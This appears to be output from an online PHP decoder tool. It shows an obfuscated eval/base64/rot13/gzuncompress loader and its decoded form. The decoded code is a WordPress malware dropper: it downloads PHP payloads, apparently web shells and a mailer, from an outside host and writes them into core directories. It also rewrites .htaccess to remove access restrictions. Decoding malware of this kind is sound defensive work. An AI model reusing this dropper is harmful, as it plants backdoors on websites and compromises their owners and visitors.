Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $jBYpq = 'bas'.'e64'.'_d'.'ecode'; $BqCQx = 's'.'t'.'r'.'_'.'ro'.'t13'; $CIoJF = '..
Decoded Output download
error_reporting(0); $p_olux = str_replace("../", "", "./../../../../../../wp-admin/6k7waPJ23ef.php"); $p_mailer = str_replace("../", "", "./../../../../../../wp-content/b7PEntF5hev.php"); $p_xleet = str_replace("../", "", "./../../../../../../wp-includes/saAUwLN5c4W.php"); $root = str_replace("../", "", "./../../../../../../"); function http_get_contents($url){$codex = file_get_contents($url);if (empty($codex)){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);curl_setopt($ch, CURLOPT_TIMEOUT, 60);curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);$urlPage = curl_exec($ch);curl_close($ch);return($urlPage);}else {return $codex;}} function save($path, $source){ if(function_exists("file_put_contents")){ file_put_contents($path, $source); }else { fwrite(fopen($path,"w"), $source); } } function read($path){ if(function_exists("file_get_contents")){ $rr = file_get_contents($path); }else { $rr = stream_get_contents(fopen($path, "r")); } return $rr; } if(!file_exists($p_olux)) { $olux = http_get_contents("http://filestack.live/5de9c03400251a73ad64a272db83fab0.htm"); if(preg_match("/<\?php/", $olux)){ save($p_olux, $olux); } } if(!file_exists($p_xleet)) { $xleet = http_get_contents("http://filestack.live/2995e3adc0c914b5a67cc9c6fb40ad73.htm"); if(preg_match("/<\?php/", $xleet)){ save($p_xleet, $xleet); } } if(!file_exists($p_mailer)) { $mailer = http_get_contents("https://filestack.live/79f37cf98ac7d864a573c96fd19390ba.htm"); if(preg_match("/<\?php/", $mailer)){ $mailer = str_replace("xxxxxxxxxxxxxxxxxxxxxxx", "VKgUl1ZdGcp", $mailer); save($p_mailer, $mailer); } } save($root."wp-includes/index.html", "<!DOCTYPE html><title></title>"); $htx = strtolower(read($root.".htaccess")); if(preg_match("/deny(.*)from(.*)all/", $htx) || preg_match("/order(.*)allow(.*)deny/", $htx)) { $htx = "<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php\$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>"; chmod($root.".htaccess", 0644); save($root.".htaccess", $htx); } Did this file decode correctly?
Original Code
<?php $jBYpq = 'bas'.'e64'.'_d'.'ecode'; $BqCQx = 's'.'t'.'r'.'_'.'ro'.'t13'; $CIoJF = 'gzuncom'.'press'; $RlBcv = 'strr'.'ev'; ini_set('display_errors', 0); ini_set('error_log', NULL); error_reporting(0); eval($RlBcv($CIoJF($BqCQx($jBYpq('a5yVlYtl2lMUhl9yrWR0UcZT3HIV6g4lIqbFiAqRWRpFzbJNIVqEpEwthgzxu/esYQUbE9uDdLV7/j3n078XoVTUrey4aomupCShhGDuSKUqjyJpKdMHnEC41erUQYWdde0R1JVhdrBkontqpPTCxdfxFxR7ZGhUndBKQxVO0KTcdFt3hgvn+gI96vf9iT4eDXp4ps//1s39L8gJo04pZV8jEmiu0eVP1E2kxf49LqUgmuA/ymF1IBr6q0MvVGFWNXtzNrwJKl6iJ6HfQ+rIHkgKeJTvIWgq76ryNgoCLB4YaEukVbJUOF7bK8pv9OMHKvW5dx0xSrRv+pFLaX1jtmXCR1kZJIc6EXQ8KUu6FW4z97nSy9reerDmHtKnn62B8f4CqK8kMZIbn0N0E5DQv463VKv5iJBLZFMDH6+BNHuw42Wxy4gUkw/OP/Vgvvrro1W+O/0nyZTgIAYTM9pv/r5lkFeBSPp90TvhgCSQ8bKmNbW642k00kfbuNW5ZEeCYjSXqFpKRhX64AfVYuBGAildUvk1iTn3JDnhIeVuUXlBSrYYOgRABYFru4Qn/o7ab/qFqJz7wCkNaUCYtqULwF4EfobeRx1ceC3dDtEIRDu4vXnVNUUjDmHStqY1nqO/WZ7XFOAlzwvcu1oQAZ11Dqnz4Z9O15bYet4snYbaAK8BSMX1aaNJeDV4UaNB+y3QTMn0qOQwz5G7jF2ikHo4cil9Um+wozyOTh3SOGWPM6/hCHF7iYnMNAmomJXpj5SiU6ETh+l2WSpgwsjnJNy4gnSfdBInDRUB4BI1KG6bKAELK9JJOiJZrwr3AKeUPuXaxBnXMUQ++gLRk3Hpbf6P9tiFUB2RwsOcARBJaxqwDSCm42ARgblWFBAbhlbWJxSqiS4YSFnoSb5X1lH/0LdafTa3p5ZoJ30x9Y/QswEiDaUReHeMzfkAuCATjyNBkzxorQO6uaHfj6zXqayBPpkYg2Zv0M6Mu8/DEaDY49nsvNbU4fJ7jbYutMPZpGJNE2Zh6eZs7cQYTP2BMf5xjMfG8FItyiHe9/W7MwmF3egKgnQ0MvdQv0sjiIqTnC64/J3HeCoj188Sndz9mWd/T5Ae0WUbweFKqtV0P2S3i3/oPL3L0++GmCc+sp9NpD0ZYud9nBx+Xd6aMr/YiqwP1HgPbKhC1aWSo789dmzNF0xd2nn8OcVb9VtUCf21g9+eM7/NxCrLq9DnLFdwEXAU/QdOTf2d'))))); ?>Function Calls
| strrev | 1 |
| ini_set | 2 |
| str_rot13 | 1 |
| gzuncompress | 1 |
| base64_decode | 1 |
| error_reporting | 1 |
Stats
| MD5 | 1a7bfb2ae496363438235900529c72fb |
| Eval Count | 1 |
| Decode Time | 51 ms |